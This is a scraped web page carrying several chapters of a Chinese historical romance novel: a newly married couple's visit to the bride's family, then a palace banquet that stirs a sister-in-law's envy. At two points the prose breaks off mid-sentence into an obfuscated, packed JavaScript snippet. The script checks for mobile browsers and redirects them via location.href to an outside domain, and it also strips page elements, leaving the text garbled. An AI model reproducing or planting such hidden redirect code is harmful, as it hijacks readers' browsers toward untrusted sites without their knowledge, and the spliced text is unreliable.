“当初裴家说是冲喜,我想着他重病的人前途未卜,有些事交代得也不够细致。如今他全须全尾的回来,夫妻相处的时候可不能马虎。”她戳戳女儿的脸蛋,带了几分打趣,“老实说,他私下里待你好不好?” 话都说到这份上了,云娆情知逃不掉,只好乖乖交代。 “其实我跟他也没相处几天。刚嫁过去时他在别处调养身子,不让人打搅,这事儿青霭想必跟母亲说过。后来他北上迎敌,回到京城后也不过三四天而已。我瞧他言行举止倒是挺讲道理的,也愿意护着我。” 徐氏闻言,明显松了口气。 他原本担心裴砚征战之人性情刚毅冷厉,方才在人前只是维持客气姿态,如今看来倒是她多心了。便笑道:“他肯护着你就好。日子终归是你俩过,长辈婆母都在其次,最要紧的是他如何待你。” 说话间觑着女儿神色,眼底笑意又深了些。 “起居的事都还顺当么?” 云娆又不是傻子,出阁前母亲叮嘱了好些夫妻闺中之事的话,这会儿哪能听不出来? 新婚出嫁,到底是脸皮薄的。 她不太好意思地垂眸,假作摆弄衣襟绣的海棠花,低声道:“我们如今还是分房睡的,饮食起居上倒没什么。” 徐氏闻言微微一怔。 云娆忙道:“其实这样挺好,我跟他还不熟呢。” 这话倒也在理。 当初范氏打着冲喜的由头促成婚事,于两人而言都是盲婚哑嫁,彼此性情根底都不了解,仓促圆房未必是好事。 徐氏是过来人,深知这种事重在顺其自然,想明白之后倒抿唇笑了笑,“这倒罢了,缓一缓也好。不过我还是得嘱咐你,姑爷是惯于打打杀杀的武将,生得又强健,未必会疼人,若真到了那种时候,你可得让他悠着点多加怜惜。你还小呢,可别伤了身子。” 云娆闹了个大红脸,“我知道啦!” 说着话,赶紧从徐氏怀里挣脱出来,假装去倒茶喝。 徐氏抿唇笑了笑,没再揪着这个话题多说,只是坐在那里笑望着云娆。 “先前常妈妈应该转述过我的意思了。若侯府里日子艰难,咱们自该另寻他路。不过我瞧姑爷不像骄矜桀骜的人,未必不能好生相处。你平素多留意些,别委屈了自己就是。” 云娆灌了两口晾温的茶,一叠声答应着。 窗外有风吹过,树叶梭梭轻响。 江季行咚咚的脚步声夹杂在这动静里渐而靠近,进屋之后,他绕过屏风跑进来,脸上挂着细密的汗珠,“大哥回来啦!去祖父的书房了!” “这孩子,怎么跑了一头的汗!” 徐氏闻言起身,取个软巾让他擦汗。 江季行嘿嘿笑了笑,没解释这一头大汗的缘故,又一溜烟跑没影儿了。 徐氏瞧了瞧天色,先去打点晚上的小宴。 云娆让青霭她们去给母亲帮忙,而后去寻苏春柔说话——她的身孕已过了八个月,因邻近产期时身子重,夜里睡得不像从前舒服踏实,徐氏为保稳妥,每两日都会请郎中来瞧瞧脉象,帮着调理饮食睡眠和养胎等事。 这会儿郎中还没走,云娆正好细问一番。 得知苏春柔身子安稳无恙,腹中胎儿也长得不错,自是放心了许多,待郎中离去,便依叮嘱裴苏春柔在院里慢慢走走,挽着手说些私房话。 …… 晚间的小宴准备得十分精致。 江家虽比不得靖远侯府的富贵气象,徐氏却有颇丰厚的陪嫁,见识也不算浅。她就云娆这么个宝贝闺女,回门的事这辈子未必会有第二次,自是格外重视。 早在二月里,她就筹划着回门宴的酒菜果点,如今硬生生拖到四月底,菜色虽换了好几样,却也是越来越精致。 晚间阖家在花厅里聚齐,就着满桌佳肴倒也算其乐融融。 女眷们围坐一处,因崔老夫人今日心绪极好,瞧着云娆带了个春风得意的女婿回来,苏春柔那孕肚也一日比一日显眼,话题难免都绕着长房。那边祁氏婆媳有意借侯府和裴砚的威势为男儿谋个前程,自然也奉承着云娆母女,一副重修旧好的模样。 剩下个江云影虽满腹心思,这当口却也不敢表露,只默默喝着杯中甜腻的果酒,留神外头男人们的动静。 一道屏风之隔,外头倒颇为热闹。 江老太爷和二房的江慎父子都有心仕途,碰上皇帝嘉奖器重的御前红人儿,自是满口好话,时时举杯劝酒。 裴砚焉能瞧不出他们的心思? 不过这种事原也寻常,无需大惊小怪。 且抛开二房不谈,云娆的父亲江恒是为救百姓而殉身,这事儿宁王早就查证过,当时还颇赞赏其勇武之举。而江伯宣弱冠登第,才华品性俱佳,单拎出来也是侯府那几位锦衣玉食的公子哥所不及的。 这样的岳丈和大舅哥原也难得,更何况云娆当初嫁得颇为委屈,哪怕是看在她的薄面上,裴砚也会礼让三分。 是以江家父子热情劝酒,裴砚也鲜少推拒,仗着军营里练出来的好酒量喝得甚是爽快。 那方酒桌便比里头热闹了许多。 直待亥时过半,江慎父子才陪不住酒,被人醉醺醺地扶了回去。 老太爷上了年纪的人也熬不住,喝得醉眯眯的回了屋,里头女眷们也各自散了回住处,只剩下江伯宣惦记着妹妹,任凭旁人怎么劝都拉住裴砚不肯撒手。 徐氏没了法子,只好留仆妇小厮好生照应着,让云娆先回屋准备沐浴安寝的事。 笑语渐远,连草虫也都安静了。 邻近朔日时苍穹如墨,反显得厅里灯烛格外明亮。 江伯宣自幼读书不太喝酒,今日陪着裴砚喝了好多杯,那张斯文的脸早就红透了。身板却仍尽力挺直,哪怕喝醉了酒也不曾胡言乱语,只抓紧裴砚的手腕叮嘱—— “云娆小时候性子活泼可爱,很会闹腾人,后来家父过世,她小小年纪却懂事了许多。” “她才十六岁,比妹夫你小好多岁,论见识论行事自然比不上你。往后若行事有不周全的,还是得请你多担待。” “比起侯府的门第,江家确实微寒了些。但她也是我们捧在手心里长大的,在闺中时我也不舍得委屈了她,往后在侯府过日子还是要你多加照看。若她闹小性子,你也多让让,实在心里不舒服,去我那儿寻衅找事都使得,只别太跟她计较。” 他说得认真,裴砚却忍不住笑了笑。 跟媳妇儿闹脾气,转头去找大舅哥诉苦出气这种事,他当然干不出来。 但江伯宣这般殷殷叮嘱,显然是放心不下云娆,怕自家妹妹在侯府受委屈。 裴砚想起今晚来花厅赴回门宴时,偶然瞥见云娆身着薄衫靠在母亲怀里撒娇,那是跟在侯府截然不同的娇憨模样。 心头似稍有触动,他点头道:“裴某七尺男儿,原就该护着妻儿,舅兄无需担心。” 江伯宣听了他这承诺,满意的点点头。 谁知脑袋太重,一头栽在桌上就有些抬不起来,他拿胳膊微微撑了撑,像是要就地睡过去的模样。 裴砚失笑,才想扶他起身回屋,就听身后有人道:“大哥在家里可从没这样喝醉过,姐夫真是好酒量!” 回过头,就见江季行吊着脚坐在后面高高的栏杆上,正歪头打量他。 这小子神出鬼没,倒适合抓去习武。 裴砚犹记得今日刚来江家,被老太爷喊去书房慢慢叙话时,这小子就爬到书房外面那棵老高的槐树上,毒日头底下也不嫌热,只藏在浓密的树冠里——依江家这情形看,八成是怕江老太爷在他这孙女婿跟前胡说,躲在那儿听墙角呢。 倒是挺护着他姐姐。 裴砚不由招手,“过来。” 江季行果真跳下栏杆,大大方方走到他跟前。 裴砚随手抓起江伯宣的酒杯,递过去逗他,“喝不喝?” “我才不喝!”小家伙年才十二,对这事儿倒是拎得挺清楚,靠在兄长身边拿手背去试他脸上烫热的温度,眼睛却直勾勾盯住裴砚。片刻后,他似乎确认了这姐夫不是传闻中杀人不眨眼的凶煞模样,认真道:“不许欺负我姐姐。” 裴砚忍笑,抬手去弹他脑门儿。 江季行没躲过,却从这动作里觉出稍许亲近,眨了眨眼睛道:“我们书院也教习弓马呢,说以后可以上阵去打仗。” “好,到时候我带你。” 裴砚还挺喜欢逗这个小舅子,怕江伯宣真在这儿睡过去会着凉,也无需旁人费劲去抬,径直扛在肩上送到了屋门口。 而后,便往西竹馆去。 西竹馆里,云娆这会儿正擦拭头发。 比起侯府的枕峦春馆,这地方自然是逼仄了些。但从小住到大的闺房,里头从床榻帘帐到桌椅陈设都是用惯了的,家里也没侯府那么多规矩,时隔两月再回来住,自是无比亲切自在。 从小宴回来,青霭自去铺床,绿溪去整理衣裳箱笼,云娆先跑到心爱的雕版跟前盘桓了半晌。 过后沐浴盥洗毕,坐在靠窗的藤编美人榻上,任由青霭帮她慢慢擦拭头发,那股子熟悉的轻松之感,让她几乎想长久住在闺中不再回去。 她阖上眼,回味闺中的片刻宁静。 窗外风动竹梢,不知过了多久,传来院门的吱呀轻响。 而后便是看门的老妈妈问候姑爷的声音。 云娆打个哈欠坐起身,趿着鞋还没迎到屋门口呢,裴砚已大踏步走了进来,夜风里亦卷来一股不淡的酒气。 看来真是被灌了不少的酒。 屋里灯盏明亮,他大约是酒气上涌走得热了,进屋后便先解开领口,将外头罩着的锦衣脱下来,随手递给云娆。视线在屋里粗粗打量了一圈,而后停顿在一方雕版上—— 那上头雕了一副《双美图》,细密的线条将两位美人勾勒得栩栩如生,不管是雕版本身还是拿墨印出来图画都赏心悦目。 西竹馆攒了半屋子雕版,这是云娆最喜欢的版画之一,精心保养后摆在靠墙长案上最显眼的位置,每日出入都能瞧上几眼,既可愉悦身心,也能趁空琢磨笔法精髓。 雕版 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687822|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的小架子上,还放了几把用旧的小刻刀和漂亮刷子做装饰。 此刻裴砚瞧见,竟也被吸引了注意。 他顿住脚步,借着烛光躬身去瞧那外形规整内里曼妙的雕版,就着上头早已干涸的墨迹,几乎能想象拓印出来的模样。 他不由看向了云娆。 “这是你的?还挺好看。” 迥异于在侯府时冷清深邃的眼神,他今晚颇为放松,那双眼在酒后添了暖意,稍减疏离,看向云娆时倒似暗藏赞赏之意。 云娆暗夸他有眼光,便自笑道:“是一位朋友送的,摆在这里,倒比挂的画儿还耐看。” 瞧他脸上也浮了稍许醉色,又问道:“里头备了醒酒汤,将军要喝一碗么?” “不必。”裴砚酒量好,用不上这些。 他伸手轻轻抚上雕版去感受那细密深浅的纹路,目光又扫过那几把精巧的小刻刀。 走南闯北这么些年,他见过武将在屋里悬挂刀枪剑戟,见过文人在屋里摆放拓印的石刻墨宝,却没想到类似的东西竟也会出现在女儿家的闺房里——这样妙龄娇养的小姑娘,不都喜欢脂粉首饰、花鸟琴棋么? 他有些怀疑那几把小刻刀是云娆用过的东西,却也没追问,只收回视线,随云娆进了内间。 闺房稍觉窄仄,布置得却很温馨。 绿溪她们依着规矩都退了出去,云娆将他的外裳搭在花梨架上,又将备好的寝衣给取出来。 她尚未干透的头发披散在肩,触目只觉绸缎般柔滑,底下是夏日里单薄的玉白撒花寝衣,柔软的料子贴在身上,勾勒出少女日益显露的身段。那两只脚趿着软鞋,没了罗袜遮掩,烛光下只觉脚踝秀致玲珑,如同窗外初绽的一小把洁白茉莉。 让人想握在掌中细细把玩。 这念头冒出来,裴砚自己先愣了愣,赶紧收回视线,抓起旁边晾冷的茶灌了半口。 那边云娆回身见他喝冷茶,忙道:“我让人沏热的来吧?” “不妨事。”裴砚不敢泄露方才瞬息即逝的旖旎心思,只垂目接了寝衣,道:“时候不早了,你先熄灯歇着。我待会出来睡外头。”说罢,自管抬步往盥洗房里去了。 云娆与他分房睡了数日,早就默契地让青霭铺了两床被子,这会儿先歇下倒也没觉得什么。 只是…… 屋里残留着淡淡酒气,云娆依稀记得母亲说过醉酒后热浴容易晕过去,难免有些不放心。 她躺在被窝里,将青丝曳在枕畔,闭眼躺了片刻却殊无睡意,不自觉就去听盥洗房里头的动静——方才裴砚进去后没过片刻就传来水声,之后便安静了下去,一直静悄悄的,也不知是不是当真被热气蒸出酒意晕了过去。 她迟疑着翻了个身。 好半晌,仍没听见里头传来动静,她到底有些不放心,下榻趿着鞋走过去试探道:“将军?” 里头没半点反应。 云娆心头突突跳了跳,轻轻掀起软帘,一眼就看到了坐在浴桶里的裴砚。 他的头发仍束着,只有几绺沾水后湿漉漉的贴在脖颈,那张峻整如削的脸在酒后泛着微红,赤着的身体浸在温水里,结实的胸膛一览无余。满屋温热的酒气里,他双眼紧阖,也不知是困得睡了过去还是真个晕了。 云娆下意识想进去把他摇醒,才迈进去两步,隐约瞧见水波下男人劲瘦的腰腹,反应过来后赶紧悄悄退了出去。 捂着胸口稍稍平复心绪,她清了清嗓子,才将声音抬高了些,“将军,还要加热水吗?” 连着问了三遍,就在她以为裴砚真的晕了过去,想要硬着头皮闯进去时,里面终于传来了他的声音—— “不用了,马上出来。” 刚睡醒般含糊的话音落处,里面水声哗啦作响,大约是他已经站了起来。 云娆赶紧跑回榻上。 心跳有点乱,方才窥见的浴房里的光景在脑海挥之不去,她竭力摒除杂念深深呼吸,总算赶在裴砚回来之前让脸上的微热褪了下去。 不过说实话还挺好看的。 她默默想着,察觉帘帐外烛火微晃,而后悄然熄灭。 身边的床褥凹陷下去,男人出浴后温热的气息随之扑面而来。 云娆假装睡着,连眼睛都没睁。 裴砚瞥了眼蚕蛹般规规矩矩睡在被窝里的小姑娘,眼底是白皙微红的柔软肌肤,鼻端则是女儿家闺房里恬淡的香味。 眼底的笑意一闪而过,他躺进被窝调匀呼吸。 周遭渐渐安静,身边唯有彼此的气息。 云娆不知道是什么时候睡着的,只记得夜里梦回时片刻清醒,她觉得裴砚离她似乎有点近,隔着锦被仿佛两人的胳膊都快贴在一处了。 她以为是钻人被窝的老毛病又犯了,迷迷糊糊中往里又挪了挪。 这般醒醒睡睡,次日醒来时天光已然大亮。 她睁开眼想伸个懒腰,蓦然瞧见近在咫尺几乎抢走她枕头的裴砚,下意识往后挪脑袋。谁知睡懵了没留意周遭,后脑勺不慎撞上后头的墙板,在轻微的碰撞声里立时传来微痛。 她“嘶”的吸了口气,这才发现裴砚不知是何时挪到里面的,给她挤得几乎贴在墙上了! 23. 酸了 这点动静也吵醒了裴砚。 他从浅睡中惊醒,见云娆蹙眉捂着后脑勺,愣了一瞬后才发现自己睡觉时把人家小姑娘挤到了角落,顿时有点尴尬。 ——他以前睡觉很规矩的。 昨晚可能是…… 裴砚很快把这罪名推到了喝醉酒的头上,赶忙往后挪了挪腾出位置,问道:“疼吗?” “还行。”云娆也有点尴尬,觑了眼帘帐外明亮的天色,又道:“将军昨晚喝多了,若还觉得困倦就再睡会儿吧。”说着,掀开锦被坐起身,小心地避开裴砚的腿脚下了床榻。 裴砚揉了揉眉心,目送她松散着寝衣趿鞋进盥洗房,才暗自松了口气。 这事儿闹得,委实有点丢人。 裴砚自幼习武修身,巡逻打仗时又常在行军用的窄仄小床过夜,睡觉时向来安分得很,经常入睡是怎样的姿势,醒来时几乎分毫未动。 昨晚他睡前也曾屏息凝神,平心静气,谁知夜里竟闹了这么个笑话,也不知云娆心里会怎么想。 他摸了摸脸,也自起身换衣裳。 等云娆盥洗完毕后出来,他进去擦牙漱口后拿冷水洗了把脸,才算将那点尴尬遮过去。 外头晨光初照,有鸟鸣啾啾传来。 云娆已经换了身簇新的薄裙,正坐在镜前描眉梳妆,由绿溪帮着梳弄发髻。 裴砚暂且无事可做,推门在院里抻了抻筋骨,就着夏日的清爽晨风看了会儿竹丛树影,瞥见院角的凉棚里堆了许多裁切整齐的木板,不由过去瞧了瞧。 正巧常妈妈出来泼残水,他便招招手问道:“这儿怎么还堆着木板呢?” “那是少夫人做雕版用废了的,她舍不得丢,就摆在这儿,说是能拿来自省。”常妈妈想起云娆从前蹲在这儿愁眉苦脸地翻看那些残品的可爱模样,说话的声音都比平时柔和了许多。 裴砚闻言有点意外,“她会做雕版?” “可不么,打小就跟着老师傅学,手艺出挑着呢。那间厢房就是专给她雕板子用的,攒了好些。”常妈妈提起这事儿,分明颇为自豪。 裴砚正好闲着,便去那厢房里走走。 推门进去,左边靠窗是一张宽敞的案台,上头家伙儿事备得十分齐全,裴砚一眼就扫见了昨晚瞧见的那种小刻刀。 右边则是好几排书架,靠外侧整齐码放着书卷和装进盒子的版画,里侧摆着一张张雕刻的木板,有只刻字的,也有或简或繁的版画。这些雕版摆得整齐,擦拭得也干净,哪怕是最底下那些瞧着有些年头了的也被精心保管着。 他蹲身随意取了几张老旧的翻看,一看就是云娆幼时的雕刻之作,力道欠缺得很。 新刻的雕版则迥然不同,一看就很有章法。 裴砚未料云娆还有这份本事,不免细看了一阵,只等院里传来青霭跟常妈妈的说话声才搁下雕版走出去。 那边云娆已梳妆好了,薄妆罗裙,眉眼妙丽。 听见裴砚夸赞她刻的雕版好,便抿唇笑道:“都是闲时雕着玩的,不过是一点精细的小功夫。”说话间,徐氏那边也着人来请,遂一道在西跨院里聚齐,而后去老两口的正屋里。 昨晚的小宴上男人们都喝多了酒,女眷难免照料,今晨都起得迟了些。 这会儿聚齐,旁人倒也罢了,唯有江慎昨晚喝得极醉,到这会儿身上的酒气还没散干净,没睡好的眼睛也有点肿,被老夫人打趣了几句。 不过一家人关起门取乐,这种事也是寻常。 众人闲聊一阵,一道用过早饭后各自散了回住处。 云娆直等陪母亲和兄嫂弟弟用过晌午饭,才恋恋不舍地登车动身,往靖远侯府去——她倒是想多住住的,不过明儿还要跟裴砚入宫赴宴,今晚是不能再住在娘家了。 好在裴砚性子直爽,不像范氏那样一堆的规矩,知道她小姑娘新婚出嫁尚且恋家,且苏春柔又产期将近,便让云娆想家时尽管回来。 这般许诺自然让云娆欢喜。 待回到枕峦春馆后歇了片刻,便筹备起入宫的事来。 …… 一场胜仗打下来,冲在最前头浴血厮杀的将士自然居于头功,背后兵马粮草调度乃至银钱调拨等事也少不得旁人费心。 永熙帝被各处作乱的流民闹得头疼,好容易等来这么一场大胜仗,有意借机提振士气、讨个朝堂好气象,是以这次宫宴不止嘉奖宁王、众位立功的武将和牵扯战事的文官,也将重臣和勋贵人家都给请了,还许携带女眷来热闹一番。 靖远侯裴固自然也在受邀之列。 他的身子骨尚且硬朗,太夫人却逊色不少,先前去别苑踏青游春时已颇费心神,回来后便一直静养着甚少出门。 怕在宫宴失仪,这回她也没敢冒头,禀明情由后让长房的崔氏前去赴宴,并带上了如今侯府里唯一嫡出待嫁的裴雪琼。 随同入宫赴宴的还有薛氏——她的夫君裴见明虽然官职不高,不在受邀之列,但有薛贤妃这么个堂姐照应着,也时常能蹭个宫宴。 一大清早,侯府里便忙碌了起来。 外头的人忙着准备车马,内院里赴宴的几位则在沐浴后认真梳妆。 云娆并无诰命,今日赴宴的装束也无定规。 她原就不爱跟人攀比装束姿容,想着薛氏素日便爱出风头,今日宫宴上必定也会藏有攀比之心。她在侯府只求安稳度日,这种事上不出错失礼便可,衣裳便选了不那么惹眼的。 云锦半袖之下穿了一袭浅色暗绣的襦裙,搭上披帛和缀玉宫绦,再往云鬓旁簪一支撑门面的金钗,配上耳珰玉镯便也足够了。 梳妆罢出了屋,倒是让裴砚眼前一亮。 倒不是因这身装束有多光彩夺目,只是云娆平素甚少用珠翠金玉装扮,偶尔这样梳妆起来,倒格外衬得肌肤如雪朱唇柔嫩。 在廊下一站,平白让他想起新婚那日她凤冠霞帔的嫁进来,花扇后眉眼婉丽,身姿袅袅。 裴砚的视线不由稍稍驻留。 云娆被他看得有点忐忑,“这装束可以吗?会不会失礼?” “不会。很好看。”裴砚倒是不吝夸赞,瞧着时辰差不多了,便带云娆出了枕峦春馆。 到得府门口照壁前,薛氏婆媳倒是早就到了。 今日宫宴上勋贵重臣齐聚,薛氏自然不肯坠了公府嫡女、侯府当家少夫人的身份,一身明艳衣裙配着金灿灿的钗簪,端的是贵气逼人。 等云娆夫妻走来,她瞧着裴砚缀以金玉的平巾帻和那身青绶深绯官服,念及自家丈夫官职威仪皆不及这位庶弟,说心里不难受那是假的。但她很快将这念头扫去,只朝贴身丫鬟低声笑道:“你瞧她那身寒酸打扮,不愧是小门小户出来的。” “她那点家当哪里比得上少夫人呢,穿了龙袍也不像太子。”丫鬟含笑奉承。 薛氏哂笑,摸了摸腕间的嵌玉金镯。 那是前几日薛贤妃赏的,非但用了极难得的玉料,金镯做工也极为繁复精美,今日特地戴着,自是暗存了彰显身份的心思。 不远处几声咳嗽,裴固由仆从簇拥而来。 等他踩凳登车,薛氏婆媳也在丫鬟的搀扶下先后进了马车。 云娆坐了最后头那辆,裴砚则仍骑马而行。 …… 离端午只剩四日,街市分外热闹。 马车穿过长街行至银台门外,宫外成排的柳树荫凉里已停了众多华盖香车,官员们携着盛装的女眷依序经过侍卫查验,由小太监引路入内。 云娆理好衣裙,躬身下了马车。 她上回入宫还是两年前,机缘巧合之下得以入宫开开眼界,实则身份极不起眼。后来偶然遇见嫔妃被夸赞了两句,才留下个容貌出色的名声——但那也只是江家亲眷留了印象,若不刻意打听,其实没什么人记得的。 今日再度入宫,却已换成武将内眷的身份。 骄阳高照,水波摇动树影。 小内监瞧见须发皆白的靖远侯裴固,忙含笑迎上前来,又行礼问候裴砚,引着众人前往宫门。 侍卫如常查验,态度却颇客气。 云娆紧紧跟在裴砚身边,才往里走了几步,就见侧面有位武将带着两位部下走过来,看其穿着品级不低。经过裴家身边时,领头那人颇冷淡敷衍地朝裴固拱了拱手,看向裴砚时面色倒缓和了许多。 裴砚亦拱手道:“三叔。” 那武将瞧着四十来岁,大约是沙场立功后调入禁军掌着权柄的,气度威仪非寻常小将可比。他先扫了眼云娆,又拍了拍裴砚的肩膀,夸赞道:“年轻有为,可喜可贺。” 说罢,照旧亲自巡查去了。 云娆瞧着他容貌岁数,约莫猜出了此人的身份。 裴家有两位三叔,都是只闻其名未见其人。 一位是先前裴砚跟老侯爷吵架时提到过的裴元绍,是裴固膝下庶出的第三子,为娶亲的事跟家里闹翻后去了西川,颇受节度使重用。 另一位算起来是裴砚的堂叔。 老侯爷裴固兄弟三人,二老爷早年回老家乡下,跟京城已很少往来。三老爷据说是获罪后过世的,膝下两个年长的儿子死于充军途中,唯有当时年岁尚弱的裴元铮躲过一劫,后来成了禁军十六卫里颇有能耐的统领之一。 ——想来那条路走得也不容易。 云娆嫁进裴家才两月,对府里的旧事知之甚少,只知道裴元铮虽常年在京城,跟裴固的关系却极差。除了逢年过节时来宗祠祭祖之外,平素几无半点往来,裴家人也从不提起他。 今日恰好撞见,各自的态度已然分明。 云娆不敢在这场合乱说话,但回想方才的情形,心里仍难免有些好奇。 也不知裴固是怎么管这侯府的,膝下的儿孙都颇为平庸,成器成才却又都跟他关系僵冷。 尤其是裴砚,跟那位堂叔似有点惺惺相惜,对自家祖父却少了几分该有的敬重。 不知道究竟是为什么缘故。 云娆不自觉瞥向裴砚,见他正好觑向自己,目光深邃洞然若有所察,便冲他勾唇笑了笑。 …… 朱墙逶迤,绮罗如丛,因裴固上了年纪腿脚慢,云娆夫妻俩跟在后面走了大约一炷香的功夫才算到赐宴之处。 而后男女分席,各自入座。 如云娆所料,裴家几位女眷并未坐在一处。 崔氏是代替太夫人来赴宴的,虽说自身的诰命品级并不算太高,却也排在几位公侯和重臣夫人之末,算是宴席上首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717882|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置。 裴雪琼是闺中待嫁的侯府千金,跟公侯府邸的贵女们同坐在一处,也算是惯常的安排。 出乎意料的是云娆的座次竟也颇为靠前。 相较之下,薛氏的位置则有点靠后。 宫女们忙碌穿梭着安顿席位,薛氏与几位相熟的女眷打过招呼后身姿端然地入座,先扫了眼矮案上备的茶点果品,而后打量各府的席位座次安排。 这一瞧,她顿时就愣住了。 只见云娆已然入座,正由宫女躬身斟茶。 那座位非但离皇后和妃嫔更近,还在她前面的两排,从她这儿只能看到含笑道谢的侧脸和高堆的发髻。 薛氏脸上的笑意霎时凝固。 还没来得及思忖缘故,旁边又有相熟的女眷来闲聊招呼,她只得堆出笑容来应对,拿着当家少夫人的款儿从容交游。直到年已花甲的皇后在众位妃嫔的簇拥下徐徐走来,才各自停了闲聊恭敬行礼,而后谢恩入座。 宴席丰盛,不远处的歌舞也颇动人。 薛氏的心思却几乎锁在云娆身上,也没空去赏玩轻歌曼舞,御制佳肴送进嘴里也不曾尝出多少滋味,只诧异于今日的座次安排。 她知道裴砚战功赫赫,颇得帝王赏识。 但宫宴自有规矩,云娆既无显赫耀眼的出身,如今也并未获封诰命,一个靠冲喜才能勉强够到侯府门楣的小官之女,怎会坐到那样显眼的位置? 仅仅因为这宴席是为犒赏武将吗? 薛氏捏紧筷箸,实在难以接受云娆毫无征兆地在宫宴上越过她这种事。 毕竟,在侯府的时候,她连话都懒得跟云娆搭,甚至觉得明氏和裴雪琼与云娆交好是自降身份。 这落差如同一根细针扎在心上。 薛氏这顿饭吃得实在没滋味,好容易等宴席毕,众女眷随皇后去看上林苑的马球赛,她也顾不上陪伴婆母,而是趁空寻到了堂姐薛贤妃。 上林苑占地广,宴散后便不太拘束。 薛贤妃在宫里待得久了,对毒日头底下的马球会无甚兴致,加之皇后这会儿被命妇们众星捧月的簇拥着,无需她去跟前伺候,便寻了个近处的阁楼歇脚,坐在窗边看景。 听见薛氏求见,忙让人叫进来。 堂姐妹俩差了十来岁,虽没一道长大的情分,却也不像其他年岁相若的姐妹那样有过纷争。且薛贤妃出阁前还时常照看年才三岁、跟粉团子般的小堂妹,感情反倒与众不同。 见礼后赐了座,最初自然是关怀身体。 聊了半天,薛氏才算把话题引到她今日心心念念的事情上—— “我方才冷眼瞧着,今日这场宴席的座次倒有意思。” 薛贤妃立时便猜到了她的心思,“这是皇后让人张罗的,座次也是她身边的女官安排,有心讨好皇上呢。” “就算奉承圣意,也不必这样明显吧。” 薛氏嘀咕着,见薛贤妃笑了笑,猜得堂姐跟自己是一个心思,便不再顾忌,道:“旁的倒也罢了,这回立功武将的女眷座次未免太靠前了些。若总是这样,让那些老臣怎么想呢,难道打一次仗的功劳就能盖过人家几十年勤勤恳恳的功勋?” “你啊!”薛贤妃听出她的不满,竟自笑了。 薛氏也知这话酸了些,便描补道:“我是有感而发。咱们家老二那媳妇怎么进来的,姐姐想必也有所耳闻。她原只是小官之女,如今仅凭一时战功就坐在诸位亲贵女眷的前面,只怕会让人嘲笑沐猴而冠。” “这事儿你都能瞧出来,难道皇后想不到?”薛贤妃闻言一笑。 薛氏不由道:“难道另有缘故?” 薛贤妃招招手让她靠近,低声道:“这是皇上有意做给人看呢。听说外头流民作乱愈演愈烈,禁军去了都压不住。皇上如今着意嘉奖,就是想以此鼓舞将士,好让他们勇武作战。” 见薛氏似明白关窍,她又道:“若换成寻常人,此举确实过于惹眼,有失皇家身份。但你家老二是侯府次子,皇上这般抬举,倒也说得过去。我听说有人还想给她请封诰命,若真是允了,那她才叫春风得意呢。” 此言一出,薛氏心里顿时咯噔一声。 毕竟她虽有诰命,因裴见明的官职有限,诰命品级也颇低。 裴砚是从四品武官,若真个给云娆封了诰命,自然低不到哪里去。 到时候那小官之女岂不是真要越过她? 薛氏心里五味杂陈,也不知是该恨云娆运气太好,还是该恨自家夫君实在庸碌,顶着侯府嫡长孙的身份却碌碌无为,连累她都没了荣耀。 旁边薛贤妃晓得她的心性,只握着她手宽慰道:“你也不必太懊丧,这事儿未必能成。即便成了,侯府也不会真让他夫妻俩越过你们。” “可如今这情势……” 薛氏想起方才堂姐的言语,再想想外头盛传的流民之乱,到底有些担忧,“朝廷正是用人之际,若老二再立功勋,怕是真就压不住了。姐姐可有法子拦住这事儿么?” “他跟宁王好得能穿一条裤子,除非无人可用,否则皇上不会太过器重。至于诰命这事儿,我权且试试吧。不管能不能成,她出身摆在那里,哪能跟你比呢。” 末了,薛贤妃如是安慰。 24. 怀春 仲夏时节天气渐热,上林苑里草木繁荫,水边的石榴花开得如火如荼,树丛旁则有成片的芍药娇艳绽放,惹得彩蝶翩然而舞。 云娆这会儿正与裴雪琼相伴赏花。 但裴雪琼看起来心绪欠佳。 她是侯府嫡幼女,加之生得漂亮性情谦和,其实早就有许多人家有意结亲。 只不过崔氏始终没挑到合乎心意的,尚未定下罢了。 今日宴席结束时,崔氏其实想带裴雪琼在众位妃嫔和命妇跟前多露个脸,看能不能为女儿寻一段更门当户对亲和妥帖的婚事。 裴雪琼哪会猜不到她的心思? 宴席刚结束她便跟好友跑了个没影儿,等崔氏找不到她,不得不跟薛家的亲家母一道簇拥着皇后去马球场,她才松了口气,与好友道别后折身回来寻云娆。 ——二嫂头次来上林苑赴宴,又没有相熟的人陪伴,她其实心里惦记着呢。 姑嫂俩相伴赏花,倒没去马球场凑热闹。 踏荫而行,水畔微风和煦。 今日除了女眷受邀赴宴,有些人家其实也带了儿郎过来,只是宴席上座位有限,他们享不到这份殊荣,只依安排径直来上林苑凑热闹。 这会儿有去马球场的,也有在水畔玩的。 譬如前面投壶的那群人。 投壶这游戏高门贵户的男女都不陌生,宴席之外又不必太拘礼,这会儿有十多位凑成一堆,正在那里投壶为戏。 越过满目绫罗,云娆一眼就瞧见了一道颇为熟悉的少年身影。 不待她说话,裴雪琼便已道:“那边投壶的还挺热闹,我们过去瞧瞧吧?” 云娆一笑,欣然随她前去。 还没走到跟前,人群里那位少年似是察觉了什么,蓦然往这边望过来,瞧见着意打扮后盈盈而来的裴雪琼,目光险些黏在她身上。 但众目睽睽,他终究不敢造次。 